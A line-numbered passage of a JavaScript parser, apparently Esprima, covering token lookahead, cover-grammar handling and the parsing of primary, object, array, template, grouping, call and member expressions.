2073 this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
2074 this.collectComments();
2075 if (this.scanner.index !== this.startMarker.index) {
2076 this.startMarker.index = this.scanner.index;
2077 this.startMarker.line = this.scanner.lineNumber;
2078 this.startMarker.column = this.scanner.index - this.scanner.lineStart;
2079 }
2080 var next = this.scanner.lex();
2081 this.hasLineTerminator = (token.lineNumber !== next.lineNumber);
2082 if (next && this.context.strict && next.type === 3 /* Identifier */) {
2083 if (this.scanner.isStrictModeReservedWord(next.value)) {
2084 next.type = 4 /* Keyword */;
2085 }
2086 }
2087 this.lookahead = next;
2088 if (this.config.tokens && next.type !== 2 /* EOF */) {
2089 this.tokens.push(this.convertToken(next));
2090 }
2091 return token;
2092 };
2093 Parser.prototype.nextRegexToken = function () {
2094 this.collectComments();
2095 var token = this.scanner.scanRegExp();
2096 if (this.config.tokens) {
2097 // Pop the previous token, '/' or '/='
2098 // This is added from the lookahead token.
2099 this.tokens.pop();
2100 this.tokens.push(this.convertToken(token));
2101 }
2102 // Prime the next lookahead.
2103 this.lookahead = token;
2104 this.nextToken();
2105 return token;
2106 };
2107 Parser.prototype.createNode = function () {
2108 return {
2109 index: this.startMarker.index,
2110 line: this.startMarker.line,
2111 column: this.startMarker.column
2112 };
2113 };
2114 Parser.prototype.startNode = function (token, lastLineStart) {
2115 if (lastLineStart === void 0) { lastLineStart = 0; }
2116 var column = token.start - token.lineStart;
2117 var line = token.lineNumber;
2118 if (column < 0) {
2119 column += lastLineStart;
2120 line--;
2121 }
2122 return {
2123 index: token.start,
2124 line: line,
2125 column: column
2126 };
2127 };
2128 Parser.prototype.finalize = function (marker, node) {
2129 if (this.config.range) {
2130 node.range = [marker.index, this.lastMarker.index];
2131 }
2132 if (this.config.loc) {
2133 node.loc = {
2134 start: {
2135 line: marker.line,
2136 column: marker.column,
2137 },
2138 end: {
2139 line: this.lastMarker.line,
2140 column: this.lastMarker.column
2141 }
2142 };
2143 if (this.config.source) {
2144 node.loc.source = this.config.source;
2145 }
2146 }
2147 if (this.delegate) {
2148 var metadata = {
2149 start: {
2150 line: marker.line,
2151 column: marker.column,
2152 offset: marker.index
2153 },
2154 end: {
2155 line: this.lastMarker.line,
2156 column: this.lastMarker.column,
2157 offset: this.lastMarker.index
2158 }
2159 };
2160 this.delegate(node, metadata);
2161 }
2162 return node;
2163 };
2164 // Expect the next token to match the specified punctuator.
2165 // If not, an exception will be thrown.
2166 Parser.prototype.expect = function (value) {
2167 var token = this.nextToken();
2168 if (token.type !== 7 /* Punctuator */ || token.value !== value) {
2169 this.throwUnexpectedToken(token);
2170 }
2171 };
2172 // Quietly expect a comma when in tolerant mode, otherwise delegates to expect().
2173 Parser.prototype.expectCommaSeparator = function () {
2174 if (this.config.tolerant) {
2175 var token = this.lookahead;
2176 if (token.type === 7 /* Punctuator */ && token.value === ',') {
2177 this.nextToken();
2178 }
2179 else if (token.type === 7 /* Punctuator */ && token.value === ';') {
2180 this.nextToken();
2181 this.tolerateUnexpectedToken(token);
2182 }
2183 else {
2184 this.tolerateUnexpectedToken(token, messages_1.Messages.UnexpectedToken);
2185 }
2186 }
2187 else {
2188 this.expect(',');
2189 }
2190 };
2191 // Expect the next token to match the specified keyword.
2192 // If not, an exception will be thrown.
2193 Parser.prototype.expectKeyword = function (keyword) {
2194 var token = this.nextToken();
2195 if (token.type !== 4 /* Keyword */ || token.value !== keyword) {
2196 this.throwUnexpectedToken(token);
2197 }
2198 };
2199 // Return true if the next token matches the specified punctuator.
2200 Parser.prototype.match = function (value) {
2201 return this.lookahead.type === 7 /* Punctuator */ && this.lookahead.value === value;
2202 };
2203 // Return true if the next token matches the specified keyword
2204 Parser.prototype.matchKeyword = function (keyword) {
2205 return this.lookahead.type === 4 /* Keyword */ && this.lookahead.value === keyword;
2206 };
2207 // Return true if the next token matches the specified contextual keyword
2208 // (where an identifier is sometimes a keyword depending on the context)
2209 Parser.prototype.matchContextualKeyword = function (keyword) {
2210 return this.lookahead.type === 3 /* Identifier */ && this.lookahead.value === keyword;
2211 };
2212 // Return true if the next token is an assignment operator
2213 Parser.prototype.matchAssign = function () {
2214 if (this.lookahead.type !== 7 /* Punctuator */) {
2215 return false;
2216 }
2217 var op = this.lookahead.value;
2218 return op === '=' ||
2219 op === '*=' ||
2220 op === '**=' ||
2221 op === '/=' ||
2222 op === '%=' ||
2223 op === '+=' ||
2224 op === '-=' ||
2225 op === '<<=' ||
2226 op === '>>=' ||
2227 op === '>>>=' ||
2228 op === '&=' ||
2229 op === '^=' ||
2230 op === '|=';
2231 };
2232 // Cover grammar support.
2233 //
2234 // When an assignment expression position starts with an left parenthesis, the determination of the type
2235 // of the syntax is to be deferred arbitrarily long until the end of the parentheses pair (plus a lookahead)
2236 // or the first comma. This situation also defers the determination of all the expressions nested in the pair.
2237 //
2238 // There are three productions that can be parsed in a parentheses pair that needs to be determined
2239 // after the outermost pair is closed. They are:
2240 //
2241 // 1. AssignmentExpression
2242 // 2. BindingElements
2243 // 3. AssignmentTargets
2244 //
2245 // In order to avoid exponential backtracking, we use two flags to denote if the production can be
2246 // binding element or assignment target.
2247 //
2248 // The three productions have the relationship:
2249 //
2250 // BindingElements ⊆ AssignmentTargets ⊆ AssignmentExpression
2251 //
2252 // with a single exception that CoverInitializedName when used directly in an Expression, generates
2253 // an early error. Therefore, we need the third state, firstCoverInitializedNameError, to track the
2254 // first usage of CoverInitializedName and report it when we reached the end of the parentheses pair.
2255 //
2256 // isolateCoverGrammar function runs the given parser function with a new cover grammar context, and it does not
2257 // effect the current flags. This means the production the parser parses is only used as an expression. Therefore
2258 // the CoverInitializedName check is conducted.
2259 //
2260 // inheritCoverGrammar function runs the given parse function with a new cover grammar context, and it propagates
2261 // the flags outside of the parser. This means the production the parser parses is used as a part of a potential
2262 // pattern. The CoverInitializedName check is deferred.
2263 Parser.prototype.isolateCoverGrammar = function (parseFunction) {
2264 var previousIsBindingElement = this.context.isBindingElement;
2265 var previousIsAssignmentTarget = this.context.isAssignmentTarget;
2266 var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError;
2267 this.context.isBindingElement = true;
2268 this.context.isAssignmentTarget = true;
2269 this.context.firstCoverInitializedNameError = null;
2270 var result = parseFunction.call(this);
2271 if (this.context.firstCoverInitializedNameError !== null) {
2272 this.throwUnexpectedToken(this.context.firstCoverInitializedNameError);
2273 }
2274 this.context.isBindingElement = previousIsBindingElement;
2275 this.context.isAssignmentTarget = previousIsAssignmentTarget;
2276 this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError;
2277 return result;
2278 };
2279 Parser.prototype.inheritCoverGrammar = function (parseFunction) {
2280 var previousIsBindingElement = this.context.isBindingElement;
2281 var previousIsAssignmentTarget = this.context.isAssignmentTarget;
2282 var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError;
2283 this.context.isBindingElement = true;
2284 this.context.isAssignmentTarget = true;
2285 this.context.firstCoverInitializedNameError = null;
2286 var result = parseFunction.call(this);
2287 this.context.isBindingElement = this.context.isBindingElement && previousIsBindingElement;
2288 this.context.isAssignmentTarget = this.context.isAssignmentTarget && previousIsAssignmentTarget;
2289 this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError || this.context.firstCoverInitializedNameError;
2290 return result;
2291 };
2292 Parser.prototype.consumeSemicolon = function () {
2293 if (this.match(';')) {
2294 this.nextToken();
2295 }
2296 else if (!this.hasLineTerminator) {
2297 if (this.lookahead.type !== 2 /* EOF */ && !this.match('}')) {
2298 this.throwUnexpectedToken(this.lookahead);
2299 }
2300 this.lastMarker.index = this.startMarker.index;
2301 this.lastMarker.line = this.startMarker.line;
2302 this.lastMarker.column = this.startMarker.column;
2303 }
2304 };
2305 // https://tc39.github.io/ecma262/#sec-primary-expression
2306 Parser.prototype.parsePrimaryExpression = function () {
2307 var node = this.createNode();
2308 var expr;
2309 var token, raw;
2310 switch (this.lookahead.type) {
2311 case 3 /* Identifier */:
2312 if ((this.context.isModule || this.context.await) && this.lookahead.value === 'await') {
2313 this.tolerateUnexpectedToken(this.lookahead);
2314 }
2315 expr = this.matchAsyncFunction() ? this.parseFunctionExpression() : this.finalize(node, new Node.Identifier(this.nextToken().value));
2316 break;
2317 case 6 /* NumericLiteral */:
2318 case 8 /* StringLiteral */:
2319 if (this.context.strict && this.lookahead.octal) {
2320 this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.StrictOctalLiteral);
2321 }
2322 this.context.isAssignmentTarget = false;
2323 this.context.isBindingElement = false;
2324 token = this.nextToken();
2325 raw = this.getTokenRaw(token);
2326 expr = this.finalize(node, new Node.Literal(token.value, raw));
2327 break;
2328 case 1 /* BooleanLiteral */:
2329 this.context.isAssignmentTarget = false;
2330 this.context.isBindingElement = false;
2331 token = this.nextToken();
2332 raw = this.getTokenRaw(token);
2333 expr = this.finalize(node, new Node.Literal(token.value === 'true', raw));
2334 break;
2335 case 5 /* NullLiteral */:
2336 this.context.isAssignmentTarget = false;
2337 this.context.isBindingElement = false;
2338 token = this.nextToken();
2339 raw = this.getTokenRaw(token);
2340 expr = this.finalize(node, new Node.Literal(null, raw));
2341 break;
2342 case 10 /* Template */:
2343 expr = this.parseTemplateLiteral();
2344 break;
2345 case 7 /* Punctuator */:
2346 switch (this.lookahead.value) {
2347 case '(':
2348 this.context.isBindingElement = false;
2349 expr = this.inheritCoverGrammar(this.parseGroupExpression);
2350 break;
2351 case '[':
2352 expr = this.inheritCoverGrammar(this.parseArrayInitializer);
2353 break;
2354 case '{':
2355 expr = this.inheritCoverGrammar(this.parseObjectInitializer);
2356 break;
2357 case '/':
2358 case '/=':
2359 this.context.isAssignmentTarget = false;
2360 this.context.isBindingElement = false;
2361 this.scanner.index = this.startMarker.index;
2362 token = this.nextRegexToken();
2363 raw = this.getTokenRaw(token);
2364 expr = this.finalize(node, new Node.RegexLiteral(token.regex, raw, token.pattern, token.flags));
2365 break;
2366 default:
2367 expr = this.throwUnexpectedToken(this.nextToken());
2368 }
2369 break;
2370 case 4 /* Keyword */:
2371 if (!this.context.strict && this.context.allowYield && this.matchKeyword('yield')) {
2372 expr = this.parseIdentifierName();
2373 }
2374 else if (!this.context.strict && this.matchKeyword('let')) {
2375 expr = this.finalize(node, new Node.Identifier(this.nextToken().value));
2376 }
2377 else {
2378 this.context.isAssignmentTarget = false;
2379 this.context.isBindingElement = false;
2380 if (this.matchKeyword('function')) {
2381 expr = this.parseFunctionExpression();
2382 }
2383 else if (this.matchKeyword('this')) {
2384 this.nextToken();
2385 expr = this.finalize(node, new Node.ThisExpression());
2386 }
2387 else if (this.matchKeyword('class')) {
2388 expr = this.parseClassExpression();
2389 }
2390 else {
2391 expr = this.throwUnexpectedToken(this.nextToken());
2392 }
2393 }
2394 break;
2395 default:
2396 expr = this.throwUnexpectedToken(this.nextToken());
2397 }
2398 return expr;
2399 };
2400 // https://tc39.github.io/ecma262/#sec-array-initializer
2401 Parser.prototype.parseSpreadElement = function () {
2402 var node = this.createNode();
2403 this.expect('...');
2404 var arg = this.inheritCoverGrammar(this.parseAssignmentExpression);
2405 return this.finalize(node, new Node.SpreadElement(arg));
2406 };
2407 Parser.prototype.parseArrayInitializer = function () {
2408 var node = this.createNode();
2409 var elements = [];
2410 this.expect('[');
2411 while (!this.match(']')) {
2412 if (this.match(',')) {
2413 this.nextToken();
2414 elements.push(null);
2415 }
2416 else if (this.match('...')) {
2417 var element = this.parseSpreadElement();
2418 if (!this.match(']')) {
2419 this.context.isAssignmentTarget = false;
2420 this.context.isBindingElement = false;
2421 this.expect(',');
2422 }
2423 elements.push(element);
2424 }
2425 else {
2426 elements.push(this.inheritCoverGrammar(this.parseAssignmentExpression));
2427 if (!this.match(']')) {
2428 this.expect(',');
2429 }
2430 }
2431 }
2432 this.expect(']');
2433 return this.finalize(node, new Node.ArrayExpression(elements));
2434 };
2435 // https://tc39.github.io/ecma262/#sec-object-initializer
2436 Parser.prototype.parsePropertyMethod = function (params) {
2437 this.context.isAssignmentTarget = false;
2438 this.context.isBindingElement = false;
2439 var previousStrict = this.context.strict;
2440 var previousAllowStrictDirective = this.context.allowStrictDirective;
2441 this.context.allowStrictDirective = params.simple;
2442 var body = this.isolateCoverGrammar(this.parseFunctionSourceElements);
2443 if (this.context.strict && params.firstRestricted) {
2444 this.tolerateUnexpectedToken(params.firstRestricted, params.message);
2445 }
2446 if (this.context.strict && params.stricted) {
2447 this.tolerateUnexpectedToken(params.stricted, params.message);
2448 }
2449 this.context.strict = previousStrict;
2450 this.context.allowStrictDirective = previousAllowStrictDirective;
2451 return body;
2452 };
2453 Parser.prototype.parsePropertyMethodFunction = function () {
2454 var isGenerator = false;
2455 var node = this.createNode();
2456 var previousAllowYield = this.context.allowYield;
2457 this.context.allowYield = true;
2458 var params = this.parseFormalParameters();
2459 var method = this.parsePropertyMethod(params);
2460 this.context.allowYield = previousAllowYield;
2461 return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator));
2462 };
2463 Parser.prototype.parsePropertyMethodAsyncFunction = function () {
2464 var node = this.createNode();
2465 var previousAllowYield = this.context.allowYield;
2466 var previousAwait = this.context.await;
2467 this.context.allowYield = false;
2468 this.context.await = true;
2469 var params = this.parseFormalParameters();
2470 var method = this.parsePropertyMethod(params);
2471 this.context.allowYield = previousAllowYield;
2472 this.context.await = previousAwait;
2473 return this.finalize(node, new Node.AsyncFunctionExpression(null, params.params, method));
2474 };
2475 Parser.prototype.parseObjectPropertyKey = function () {
2476 var node = this.createNode();
2477 var token = this.nextToken();
2478 var key;
2479 switch (token.type) {
2480 case 8 /* StringLiteral */:
2481 case 6 /* NumericLiteral */:
2482 if (this.context.strict && token.octal) {
2483 this.tolerateUnexpectedToken(token, messages_1.Messages.StrictOctalLiteral);
2484 }
2485 var raw = this.getTokenRaw(token);
2486 key = this.finalize(node, new Node.Literal(token.value, raw));
2487 break;
2488 case 3 /* Identifier */:
2489 case 1 /* BooleanLiteral */:
2490 case 5 /* NullLiteral */:
2491 case 4 /* Keyword */:
2492 key = this.finalize(node, new Node.Identifier(token.value));
2493 break;
2494 case 7 /* Punctuator */:
2495 if (token.value === '[') {
2496 key = this.isolateCoverGrammar(this.parseAssignmentExpression);
2497 this.expect(']');
2498 }
2499 else {
2500 key = this.throwUnexpectedToken(token);
2501 }
2502 break;
2503 default:
2504 key = this.throwUnexpectedToken(token);
2505 }
2506 return key;
2507 };
2508 Parser.prototype.isPropertyKey = function (key, value) {
2509 return (key.type === syntax_1.Syntax.Identifier && key.name === value) ||
2510 (key.type === syntax_1.Syntax.Literal && key.value === value);
2511 };
2512 Parser.prototype.parseObjectProperty = function (hasProto) {
2513 var node = this.createNode();
2514 var token = this.lookahead;
2515 var kind;
2516 var key = null;
2517 var value = null;
2518 var computed = false;
2519 var method = false;
2520 var shorthand = false;
2521 var isAsync = false;
2522 if (token.type === 3 /* Identifier */) {
2523 var id = token.value;
2524 this.nextToken();
2525 computed = this.match('[');
2526 isAsync = !this.hasLineTerminator && (id === 'async') &&
2527 !this.match(':') && !this.match('(') && !this.match('*') && !this.match(',');
2528 key = isAsync ? this.parseObjectPropertyKey() : this.finalize(node, new Node.Identifier(id));
2529 }
2530 else if (this.match('*')) {
2531 this.nextToken();
2532 }
2533 else {
2534 computed = this.match('[');
2535 key = this.parseObjectPropertyKey();
2536 }
2537 var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead);
2538 if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'get' && lookaheadPropertyKey) {
2539 kind = 'get';
2540 computed = this.match('[');
2541 key = this.parseObjectPropertyKey();
2542 this.context.allowYield = false;
2543 value = this.parseGetterMethod();
2544 }
2545 else if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'set' && lookaheadPropertyKey) {
2546 kind = 'set';
2547 computed = this.match('[');
2548 key = this.parseObjectPropertyKey();
2549 value = this.parseSetterMethod();
2550 }
2551 else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) {
2552 kind = 'init';
2553 computed = this.match('[');
2554 key = this.parseObjectPropertyKey();
2555 value = this.parseGeneratorMethod();
2556 method = true;
2557 }
2558 else {
2559 if (!key) {
2560 this.throwUnexpectedToken(this.lookahead);
2561 }
2562 kind = 'init';
2563 if (this.match(':') && !isAsync) {
2564 if (!computed && this.isPropertyKey(key, '__proto__')) {
2565 if (hasProto.value) {
2566 this.tolerateError(messages_1.Messages.DuplicateProtoProperty);
2567 }
2568 hasProto.value = true;
2569 }
2570 this.nextToken();
2571 value = this.inheritCoverGrammar(this.parseAssignmentExpression);
2572 }
2573 else if (this.match('(')) {
2574 value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction();
2575 method = true;
2576 }
2577 else if (token.type === 3 /* Identifier */) {
2578 var id = this.finalize(node, new Node.Identifier(token.value));
2579 if (this.match('=')) {
2580 this.context.firstCoverInitializedNameError = this.lookahead;
2581 this.nextToken();
2582 shorthand = true;
2583 var init = this.isolateCoverGrammar(this.parseAssignmentExpression);
2584 value = this.finalize(node, new Node.AssignmentPattern(id, init));
2585 }
2586 else {
2587 shorthand = true;
2588 value = id;
2589 }
2590 }
2591 else {
2592 this.throwUnexpectedToken(this.nextToken());
2593 }
2594 }
2595 return this.finalize(node, new Node.Property(kind, key, computed, value, method, shorthand));
2596 };
2597 Parser.prototype.parseObjectInitializer = function () {
2598 var node = this.createNode();
2599 this.expect('{');
2600 var properties = [];
2601 var hasProto = { value: false };
2602 while (!this.match('}')) {
2603 properties.push(this.parseObjectProperty(hasProto));
2604 if (!this.match('}')) {
2605 this.expectCommaSeparator();
2606 }
2607 }
2608 this.expect('}');
2609 return this.finalize(node, new Node.ObjectExpression(properties));
2610 };
2611 // https://tc39.github.io/ecma262/#sec-template-literals
2612 Parser.prototype.parseTemplateHead = function () {
2613 assert_1.assert(this.lookahead.head, 'Template literal must start with a template head');
2614 var node = this.createNode();
2615 var token = this.nextToken();
2616 var raw = token.value;
2617 var cooked = token.cooked;
2618 return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail));
2619 };
2620 Parser.prototype.parseTemplateElement = function () {
2621 if (this.lookahead.type !== 10 /* Template */) {
2622 this.throwUnexpectedToken();
2623 }
2624 var node = this.createNode();
2625 var token = this.nextToken();
2626 var raw = token.value;
2627 var cooked = token.cooked;
2628 return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail));
2629 };
2630 Parser.prototype.parseTemplateLiteral = function () {
2631 var node = this.createNode();
2632 var expressions = [];
2633 var quasis = [];
2634 var quasi = this.parseTemplateHead();
2635 quasis.push(quasi);
2636 while (!quasi.tail) {
2637 expressions.push(this.parseExpression());
2638 quasi = this.parseTemplateElement();
2639 quasis.push(quasi);
2640 }
2641 return this.finalize(node, new Node.TemplateLiteral(quasis, expressions));
2642 };
2643 // https://tc39.github.io/ecma262/#sec-grouping-operator
2644 Parser.prototype.reinterpretExpressionAsPattern = function (expr) {
2645 switch (expr.type) {
2646 case syntax_1.Syntax.Identifier:
2647 case syntax_1.Syntax.MemberExpression:
2648 case syntax_1.Syntax.RestElement:
2649 case syntax_1.Syntax.AssignmentPattern:
2650 break;
2651 case syntax_1.Syntax.SpreadElement:
2652 expr.type = syntax_1.Syntax.RestElement;
2653 this.reinterpretExpressionAsPattern(expr.argument);
2654 break;
2655 case syntax_1.Syntax.ArrayExpression:
2656 expr.type = syntax_1.Syntax.ArrayPattern;
2657 for (var i = 0; i < expr.elements.length; i++) {
2658 if (expr.elements[i] !== null) {
2659 this.reinterpretExpressionAsPattern(expr.elements[i]);
2660 }
2661 }
2662 break;
2663 case syntax_1.Syntax.ObjectExpression:
2664 expr.type = syntax_1.Syntax.ObjectPattern;
2665 for (var i = 0; i < expr.properties.length; i++) {
2666 this.reinterpretExpressionAsPattern(expr.properties[i].value);
2667 }
2668 break;
2669 case syntax_1.Syntax.AssignmentExpression:
2670 expr.type = syntax_1.Syntax.AssignmentPattern;
2671 delete expr.operator;
2672 this.reinterpretExpressionAsPattern(expr.left);
2673 break;
2674 default:
2675 // Allow other node type for tolerant parsing.
2676 break;
2677 }
2678 };
2679 Parser.prototype.parseGroupExpression = function () {
2680 var expr;
2681 this.expect('(');
2682 if (this.match(')')) {
2683 this.nextToken();
2684 if (!this.match('=>')) {
2685 this.expect('=>');
2686 }
2687 expr = {
2688 type: ArrowParameterPlaceHolder,
2689 params: [],
2690 async: false
2691 };
2692 }
2693 else {
2694 var startToken = this.lookahead;
2695 var params = [];
2696 if (this.match('...')) {
2697 expr = this.parseRestElement(params);
2698 this.expect(')');
2699 if (!this.match('=>')) {
2700 this.expect('=>');
2701 }
2702 expr = {
2703 type: ArrowParameterPlaceHolder,
2704 params: [expr],
2705 async: false
2706 };
2707 }
2708 else {
2709 var arrow = false;
2710 this.context.isBindingElement = true;
2711 expr = this.inheritCoverGrammar(this.parseAssignmentExpression);
2712 if (this.match(',')) {
2713 var expressions = [];
2714 this.context.isAssignmentTarget = false;
2715 expressions.push(expr);
2716 while (this.lookahead.type !== 2 /* EOF */) {
2717 if (!this.match(',')) {
2718 break;
2719 }
2720 this.nextToken();
2721 if (this.match(')')) {
2722 this.nextToken();
2723 for (var i = 0; i < expressions.length; i++) {
2724 this.reinterpretExpressionAsPattern(expressions[i]);
2725 }
2726 arrow = true;
2727 expr = {
2728 type: ArrowParameterPlaceHolder,
2729 params: expressions,
2730 async: false
2731 };
2732 }
2733 else if (this.match('...')) {
2734 if (!this.context.isBindingElement) {
2735 this.throwUnexpectedToken(this.lookahead);
2736 }
2737 expressions.push(this.parseRestElement(params));
2738 this.expect(')');
2739 if (!this.match('=>')) {
2740 this.expect('=>');
2741 }
2742 this.context.isBindingElement = false;
2743 for (var i = 0; i < expressions.length; i++) {
2744 this.reinterpretExpressionAsPattern(expressions[i]);
2745 }
2746 arrow = true;
2747 expr = {
2748 type: ArrowParameterPlaceHolder,
2749 params: expressions,
2750 async: false
2751 };
2752 }
2753 else {
2754 expressions.push(this.inheritCoverGrammar(this.parseAssignmentExpression));
2755 }
2756 if (arrow) {
2757 break;
2758 }
2759 }
2760 if (!arrow) {
2761 expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions));
2762 }
2763 }
2764 if (!arrow) {
2765 this.expect(')');
2766 if (this.match('=>')) {
2767 if (expr.type === syntax_1.Syntax.Identifier && expr.name === 'yield') {
2768 arrow = true;
2769 expr = {
2770 type: ArrowParameterPlaceHolder,
2771 params: [expr],
2772 async: false
2773 };
2774 }
2775 if (!arrow) {
2776 if (!this.context.isBindingElement) {
2777 this.throwUnexpectedToken(this.lookahead);
2778 }
2779 if (expr.type === syntax_1.Syntax.SequenceExpression) {
2780 for (var i = 0; i < expr.expressions.length; i++) {
2781 this.reinterpretExpressionAsPattern(expr.expressions[i]);
2782 }
2783 }
2784 else {
2785 this.reinterpretExpressionAsPattern(expr);
2786 }
2787 var parameters = (expr.type === syntax_1.Syntax.SequenceExpression ? expr.expressions : [expr]);
2788 expr = {
2789 type: ArrowParameterPlaceHolder,
2790 params: parameters,
2791 async: false
2792 };
2793 }
2794 }
2795 this.context.isBindingElement = false;
2796 }
2797 }
2798 }
2799 return expr;
2800 };
2801 // https://tc39.github.io/ecma262/#sec-left-hand-side-expressions
2802 Parser.prototype.parseArguments = function () {
2803 this.expect('(');
2804 var args = [];
2805 if (!this.match(')')) {
2806 while (true) {
2807 var expr = this.match('...') ? this.parseSpreadElement() :
2808 this.isolateCoverGrammar(this.parseAssignmentExpression);
2809 args.push(expr);
2810 if (this.match(')')) {
2811 break;
2812 }
2813 this.expectCommaSeparator();
2814 if (this.match(')')) {
2815 break;
2816 }
2817 }
2818 }
2819 this.expect(')');
2820 return args;
2821 };
2822 Parser.prototype.isIdentifierName = function (token) {
2823 return token.type === 3 /* Identifier */ ||
2824 token.type === 4 /* Keyword */ ||
2825 token.type === 1 /* BooleanLiteral */ ||
2826 token.type === 5 /* NullLiteral */;
2827 };
2828 Parser.prototype.parseIdentifierName = function () {
2829 var node = this.createNode();
2830 var token = this.nextToken();
2831 if (!this.isIdentifierName(token)) {
2832 this.throwUnexpectedToken(token);
2833 }
2834 return this.finalize(node, new Node.Identifier(token.value));
2835 };
2836 Parser.prototype.parseNewExpression = function () {
2837 var node = this.createNode();
2838 var id = this.parseIdentifierName();
2839 assert_1.assert(id.name === 'new', 'New expression must start with `new`');
2840 var expr;
2841 if (this.match('.')) {
2842 this.nextToken();
2843 if (this.lookahead.type === 3 /* Identifier */ && this.context.inFunctionBody && this.lookahead.value === 'target') {
2844 var property = this.parseIdentifierName();
2845 expr = new Node.MetaProperty(id, property);
2846 }
2847 else {
2848 this.throwUnexpectedToken(this.lookahead);
2849 }
2850 }
2851 else {
2852 var callee = this.isolateCoverGrammar(this.parseLeftHandSideExpression);
2853 var args = this.match('(') ? this.parseArguments() : [];
2854 expr = new Node.NewExpression(callee, args);
2855 this.context.isAssignmentTarget = false;
2856 this.context.isBindingElement = false;
2857 }
2858 return this.finalize(node, expr);
2859 };
2860 Parser.prototype.parseAsyncArgument = function () {
2861 var arg = this.parseAssignmentExpression();
2862 this.context.firstCoverInitializedNameError = null;
2863 return arg;
2864 };
2865 Parser.prototype.parseAsyncArguments = function () {
2866 this.expect('(');
2867 var args = [];
2868 if (!this.match(')')) {
2869 while (true) {
2870 var expr = this.match('...') ? this.parseSpreadElement() :
2871 this.isolateCoverGrammar(this.parseAsyncArgument);
2872 args.push(expr);
2873 if (this.match(')')) {
2874 break;
2875 }
2876 this.expectCommaSeparator();
2877 if (this.match(')')) {
2878 break;
2879 }
2880 }
2881 }
2882 this.expect(')');
2883 return args;
2884 };
2885 Parser.prototype.parseLeftHandSideExpressionAllowCall = function () {
2886 var startToken = this.lookahead;
2887 var maybeAsync = this.matchContextualKeyword('async');
2888 var previousAllowIn = this.context.allowIn;
2889 this.context.allowIn = true;
2890 var expr;
2891 if (this.matchKeyword('super') && this.context.inFunctionBody) {
2892 expr = this.createNode();
2893 this.nextToken();
2894 expr = this.finalize(expr, new Node.Super());
2895 if (!this.match('(') && !this.match('.') && !this.match('[')) {
2896 this.throwUnexpectedToken(this.lookahead);
2897 }
2898 }
2899 else {
2900 expr = this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression);
2901 }
2902 while (true) {
2903 if (this.match('.')) {
2904 this.context.isBindingElement = false;
2905 this.context.isAssignmentTarget = true;
2906 this.expect('.');
2907 var property = this.parseIdentifierName();
2908 expr = this.finalize(this.startNode(startToken), new Node.StaticMemberExpression(expr, property));
2909 }
2910 else if (this.match('(')) {
2911 var asyncArrow = maybeAsync && (startToken.lineNumber === this.lookahead.lineNumber);
2912 this.context.isBindingElement = false;
2913 this.context.isAssignmentTarget = false;
2914 var args = asyncArrow ? this.parseAsyncArguments() : this.parseArguments();
2915 expr = this.finalize(this.startNode(startToken), new Node.CallExpression(expr, args));
2916 if (asyncArrow && this.match('=>')) {
2917 for (var i = 0; i < args.length; ++i) {
2918 this.reinterpretExpressionAsPattern(args[i]);
2919 }
2920 expr = {
2921 type: ArrowParameterPlaceHolder,
2922 params: args,
2923 async: true
2924 };
2925 }
2926 }
2927 else if (this.match('[')) {
2928 this.context.isBindingElement = false;
2929 this.context.isAssignmentTarget = true;
2930 this.expect('[');
2931 var property = this.isolateCoverGrammar(this.parseExpression);
2932 this.expect(']');
2933 expr = this.finalize(this.startNode(startToken), new Node.ComputedMemberExpression(expr, property));
2934 }
2935 else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) {
2936 var quasi = this.parseTemplateLiteral();
2937 expr = this.finalize(this.startNode(startToken), new Node.TaggedTemplateExpression(expr, quasi));
2938 }
2939 else {
2940 break;
2941 }
2942 }
2943 this.context.allowIn = previousAllowIn;
2944 return expr;
2945 };
2946 Parser.prototype.parseSuper = function () {
2947 var node = this.createNode();
2948 this.expectKeyword('super');
2949 if (!this.match('[') && !this.match('.')) {
2950 this.throwUnexpectedToken(this.lookahead);
2951 }
2952 return this.finalize(node, new Node.Super());
2953 };
2954 Parser.prototype.parseLeftHandSideExpression = function () {
2955 assert_1.assert(this.context.allowIn, 'callee of new expression always allow in keyword.');
2956 var node = this.startNode(this.lookahead);
2957 var expr = (this.matchKeyword('super') && this.context.inFunctionBody) ? this.parseSuper() :
2958 this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression);
2959 while (true) {
2960 if (this.match('[')) {
2961 this.context.isBindingElement = false;
2962 this.context.isAssignmentTarget = true;
2963 this.expect('[');
2964 var property = this.isolateCoverGrammar(this.parseExpression);
2965 this.expect(']');
2966 expr = this.finalize(node, new Node.ComputedMemberExpression(expr, property));
2967 }
2968 else if (this.match('.')) {
2969 this.context.isBindingElement = false;
2970 this.context.isAssignmentTarget = true;
2971 this.expect('.');
2972 var property = this.parseIdentifierName();
2973 expr = this.finalize(node, new Node.StaticMemberExpression(expr, property));
2974 }
2975 else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) {
2976 var quasi = this.parseTemplateLiteral();
2977 expr = this.finalize(node, new Node.TaggedTemplateExpression(expr, quasi));
2978 }
2979 else {
2980 break;
2981 }
2982 }
2983 return expr;
2984 };
2985 // https://tc39.github.io/ecma262/#sec-update-expressions
2986 Parser.prototype.parseUpdateExpression = function () {
2987 var expr;
2988 var startToken = this.lookahead;
2989 if (this.match('++') || this.match('--')) {
2990 var node = this.startNode(startToken);
2991 var token = this.nextToken();
2992 expr = this.inheritCoverGrammar(this.parseUnaryExpression);
2993 if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) {
